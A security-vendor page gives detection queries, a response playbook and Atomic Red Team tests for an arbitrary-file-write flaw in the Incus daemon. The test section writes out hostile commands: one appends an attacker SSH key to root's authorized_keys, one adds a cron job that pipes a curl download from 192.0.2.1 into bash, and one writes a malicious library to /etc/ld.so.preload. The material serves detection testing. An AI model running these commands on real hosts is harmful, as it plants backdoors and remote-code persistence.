CVE-2026-48769 Sumo Logic CSE · Sumo

Detect CVE-2026-48769: Incus Arbitrary File Write via Trusted Image Hash in Sumo Logic CSE

CVE-2026-48769 is a critical arbitrary file write vulnerability (CVSS 9.9) in Incus container/VM manager versions prior to 7.2.0. The vulnerability exists in the incusd daemon due to improper validation of image hashes from trusted sources, allowing an attacker to write arbitrary files on the client system. A malicious or compromised image server trusted by the Incus client can serve a crafted image that causes incusd to write attacker-controlled content to arbitrary filesystem paths, potentially leading to privilege escalation, persistence, or full system compromise.

MITRE ATT&CK

Tactic
Initial Access Persistence Privilege Escalation

Sumo Detection Query

Sumo Logic CSE (Sumo)
sql 
_sourceCategory=linux/auditd OR _sourceCategory=sysmon/linux
| where process_name matches /incusd|incus/
| where file_path matches /\/etc\/cron.*|\/etc\/sudoers.*|\/root\/.ssh\/.*|\/home\/[^\/]+\/.ssh\/.*|\/usr\/local\/bin\/.*|\/usr\/bin\/.*|\/etc\/ld\.so.*|\/etc\/profile.*/
| where event_type in ("write", "create", "rename", "link")
| eval risk = if(file_path matches /\/etc\/sudoers|\/root\/.ssh|\/etc\/ld\.so/, "CRITICAL",
               if(file_path matches /\/etc\/cron|\/usr\/local\/bin/, "HIGH", "MEDIUM"))
| count by _sourceHost, process_name, file_path, event_type, risk
| sort by risk, _count desc
critical severity medium confidence

Sumo Logic query identifying Incus daemon file write activity targeting sensitive filesystem locations that could represent CVE-2026-48769 exploitation from a malicious image server.

Data Sources

Linux Auditd via Sumo Logic Installed CollectorSysmon for Linux

Required Tables

linux/auditdsysmon/linux

False Positives & Tuning

  • Legitimate container image pulls that deploy software components into system directories
  • Automated infrastructure provisioning using Incus that writes expected configuration files
  • Security tooling installed via Incus images that places agents in /usr/local/bin
  • Authorized SSH key distribution via Incus-managed image deployment pipelines

Other platforms for CVE-2026-48769

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate Incus Arbitrary File Write to Authorized Keys

    Expected signal: Auditd SYSCALL record for open()/write() on /root/.ssh/authorized_keys; EDR FileWritten event with process ancestry showing test shell or simulated incusd process; inotifywait event on /root/.ssh/

  2. Test 2Simulate Incus Payload Writing Cron Persistence

    Expected signal: FileCreated event for /etc/cron.d/incus-atomic-test; auditd path record showing file creation under /etc/cron.d/; process tree showing shell or simulated incusd as creator

  3. Test 3Simulate Incus Payload Writing ld.so.preload for Rootkit Persistence

    Expected signal: Auditd SYSCALL open()/write() on /etc/ld.so.preload; EDR critical-severity FileWritten event; potential integrity monitoring alert from AIDE or Tripwire on /etc/ changes

  4. Test 4Verify Incus Version for Patch Status

    Expected signal: Process execution event for incus, incusd, dpkg, or rpm; command line arguments captured by EDR showing version query

Last updated: 2026-07-24 Research depth: standard
References (2)

Response Playbook

Triage

  1. Identify the Incus version running on the affected host: run `incus version` or check the installed package version against the affected range (< 7.2.0). Confirm whether the host is unpatched.
  2. Determine which image server(s) the client is configured to trust: inspect `/etc/incus/` and `~/.config/incus/` for remote configurations, paying particular attention to any non-default or external image servers marked as trusted.
  3. Review recently pulled images and their metadata: run `incus image list` and check pull timestamps against the alert time window to identify which image may have been weaponized.
  4. Examine filesystem changes during the alert window using auditd logs, inotifywait results, or EDR telemetry — focus on files written outside of expected Incus working directories (/var/lib/incus/).

Containment

  1. Immediately isolate the affected host from network access to untrusted or external image servers by blocking outbound connections to non-internal image registries via firewall rule or host-level iptables.
  2. If exploitation is confirmed, stop the incusd service (`systemctl stop incusd`) and revoke trust for any external image remotes until the daemon is patched to 7.2.0 or later.
  3. Quarantine any files written outside of expected Incus paths by moving them to a forensic holding directory, preserving metadata and timestamps for investigation.

Evidence Collection

  1. Collect auditd logs covering the exploitation window: `ausearch -ts recent -c incusd | aureport -f` to enumerate all file operations performed by the incusd process.
  2. Capture a filesystem diff by comparing current state against the last known-good snapshot or backup — focus on /etc/, /root/, /home/*/.ssh/, and /usr/local/bin/ for unexpected additions or modifications.
  3. Preserve the pulled image in question: `incus image export <fingerprint> /forensics/` and submit to malware analysis to confirm malicious content in the image metadata or payload.

Escalation Criteria

  • !Escalate immediately to Incident Response if any files were written to privileged paths (/etc/sudoers, /root/.ssh/authorized_keys, /etc/ld.so.preload) indicating active privilege escalation or persistence establishment.
  • !Escalate if the affected host is a container host managing production workloads, as arbitrary file write on the hypervisor could result in lateral movement to all hosted containers or VMs.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >Incus daemon logs at /var/log/syslog or journald entries for incusd — look for image pull events referencing external remotes with unusual fingerprints
  • >Files with ownership or timestamps inconsistent with normal system operations in /etc/, /root/.ssh/, or /usr/local/bin/ — particularly files owned by the incus service user but located outside /var/lib/incus/
  • >Auditd SYSCALL records for open()/write()/rename() calls from incusd PID targeting paths outside /var/lib/incus/ or /tmp/
  • >Image cache at /var/cache/incus/ — preserve and hash all cached images for comparison against known-good image manifests from the configured remote

Tuning Guidance

Start with high-specificity path matching (/etc/sudoers, /root/.ssh, /etc/ld.so.preload) to minimize false positives. Suppress alerts for known-good Incus provisioning workflows by building an allowlist of image fingerprints from your internal registry. If incusd legitimately writes to /usr/local/bin during software provisioning, exclude those specific binary names or paths. Tune confidence upward to 'high' once you have confirmed that incusd in your environment never writes outside /var/lib/incus/ under normal operations. Consider correlating with network connections from incusd to external image remotes as an additional signal to reduce false positive rate from internal trusted sources.

Hunting Queries

Broad hunt for any incusd file write activity outside of expected working directories over the past 7 days — designed to surface both confirmed exploitation and suspicious anomalies for retrospective review.

Hunting — KQL
kql 
DeviceFileEvents
| where TimeGenerated >= ago(7d)
| where InitiatingProcessFileName =~ "incusd"
| where FolderPath !startswith "/var/lib/incus"
  and FolderPath !startswith "/tmp"
  and FolderPath !startswith "/run/incus"
| summarize WrittenPaths=make_set(FolderPath), Count=count() by DeviceName, bin(TimeGenerated, 1h)
| where Count > 0
| order by TimeGenerated desc
Hunting — SPL
spl 
index=auditd process_name=incusd action IN (write, create, rename)
| where NOT (file_path LIKE "/var/lib/incus%" OR file_path LIKE "/tmp%" OR file_path LIKE "/run/incus%")
| stats count AS writes, values(file_path) AS paths BY host, span(_time, 1h)
| where writes > 0
| sort -writes

Atomic Red Team Tests

Test 1 Simulate Incus Arbitrary File Write to Authorized Keys
linux

Simulates the write primitive from CVE-2026-48769 by writing an attacker-controlled SSH public key to root's authorized_keys, mimicking what a malicious Incus image payload would achieve.

Command

bash 
mkdir -p /root/.ssh && echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0test+atomictest== attacker@lab' >> /root/.ssh/authorized_keys && chmod 600 /root/.ssh/authorized_keys

Cleanup

bash 
sed -i '/attacker@lab/d' /root/.ssh/authorized_keys

Expected Telemetry

Auditd SYSCALL record for open()/write() on /root/.ssh/authorized_keys; EDR FileWritten event with process ancestry showing test shell or simulated incusd process; inotifywait event on /root/.ssh/

Expected Detection

Alert fires on FileWritten to /root/.ssh/authorized_keys from a non-standard process; KQL and SPL queries match on sensitive_path criteria for .ssh paths

Test 2 Simulate Incus Payload Writing Cron Persistence
linux

Mimics a malicious Incus image writing a cron job for persistence, representing a common post-exploitation follow-on to the CVE-2026-48769 file write primitive.

Command

bash 
echo '* * * * * root curl -s http://192.0.2.1/payload | bash' > /etc/cron.d/incus-atomic-test

Cleanup

bash 
rm -f /etc/cron.d/incus-atomic-test

Expected Telemetry

FileCreated event for /etc/cron.d/incus-atomic-test; auditd path record showing file creation under /etc/cron.d/; process tree showing shell or simulated incusd as creator

Expected Detection

Detection triggers on cron path match in KQL DeviceFileEvents query and SPL auditd query; Chronicle YARA-L rule fires on FILE_CREATION event matching /etc/cron pattern

Test 3 Simulate Incus Payload Writing ld.so.preload for Rootkit Persistence
linux

Tests detection of the most severe exploitation scenario — writing to /etc/ld.so.preload to force-load a malicious shared library into every process, simulating advanced persistence following CVE-2026-48769 exploitation.

Command

bash 
echo '/tmp/malicious.so' > /etc/ld.so.preload

Cleanup

bash 
rm -f /etc/ld.so.preload

Expected Telemetry

Auditd SYSCALL open()/write() on /etc/ld.so.preload; EDR critical-severity FileWritten event; potential integrity monitoring alert from AIDE or Tripwire on /etc/ changes

Expected Detection

All seven SIEM queries trigger at CRITICAL risk tier; incident response escalation criteria met immediately given ld.so.preload write; CrowdStrike CQL RiskLevel evaluates to CRITICAL

Test 4 Verify Incus Version for Patch Status
linux

Non-destructive check to identify unpatched Incus installations in the environment, confirming presence of the vulnerable version range (< 7.2.0).

Command

bash 
incus version 2>/dev/null || incusd --version 2>/dev/null || dpkg -l | grep -i incus || rpm -qa | grep -i incus

Cleanup

bash 
No cleanup required — read-only command.

Expected Telemetry

Process execution event for incus, incusd, dpkg, or rpm; command line arguments captured by EDR showing version query

Expected Detection

No detection expected for this reconnaissance step alone; version output should be fed into vulnerability management system to flag hosts running < 7.2.0

Related Detections

Tactic Hubs

TA0001Initial AccessTA0003PersistenceTA0004Privilege Escalation

Related Techniques

T1190Exploit Public-Facing ApplicationT1546Event Triggered ExecutionT1068Exploitation for Privilege Escalation

Same Tactic: Initial Access

Popular Detections